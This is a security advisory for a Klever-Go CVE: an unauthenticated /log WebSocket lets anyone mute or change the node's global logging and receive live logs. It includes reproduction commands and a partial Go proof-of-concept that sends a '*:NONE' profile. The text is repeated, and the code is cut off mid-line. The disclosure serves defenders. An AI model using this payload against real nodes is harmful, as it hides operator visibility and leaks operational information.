CVE-2026-86064

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

• Route exposed by default in config/node/api.yaml
• Route registration in network/api/api.go
• Unauthenticated upgrade in network/api/api.go
• First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
• Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

• Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
• REST API bound locally for validation
• Tested on 2026-05-30

Step 1: Build and run a local validator from source

cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/gorilla/websocket"
)

func main() {
	url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
	profile := flag.String("profile", "none", "Profile to send: none or trace")
	hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
	flag.Parse()

	payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
	switch *profile {
	case "trace":
		payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
	case "none":
	default:
		log.Fatalf("unsupported profile %q", *profile)
	}

	c, _, err := websocket.DefaultDialer.Dial(*url, nil)
	if err != nil {
		log.Fatalf("dial: %v", err)
	}
	defer c.Close()

	fmt.Printf("connected to %s\n", *url)
	fmt.Printf("sending payload: %s\n", payload)

	if err :=…

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

• Route exposed by default in config/node/api.yaml
• Route registration in network/api/api.go
• Unauthenticated upgrade in network/api/api.go
• First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
• Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

• Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
• REST API bound locally for validation
• Tested on 2026-05-30

Step 1: Build and run a local validator from source

cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/gorilla/websocket"
)

func main() {
	url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
	profile := flag.String("profile", "none", "Profile to send: none or trace")
	hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
	flag.Parse()

	payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
	switch *profile {
	case "trace":
		payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
	case "none":
	default:
		log.Fatalf("unsupported profile %q", *profile)
	}

	c, _, err := websocket.DefaultDialer.Dial(*url, nil)
	if err != nil {
		log.Fatalf("dial: %v", err)
	}
	defer c.Close()

	fmt.Printf("connected to %s\n", *url)
	fmt.Printf("sending payload: %s\n", payload)

	if err :=…

Klever-Go: /log controls global node logging in github.com/klever-io/klever-go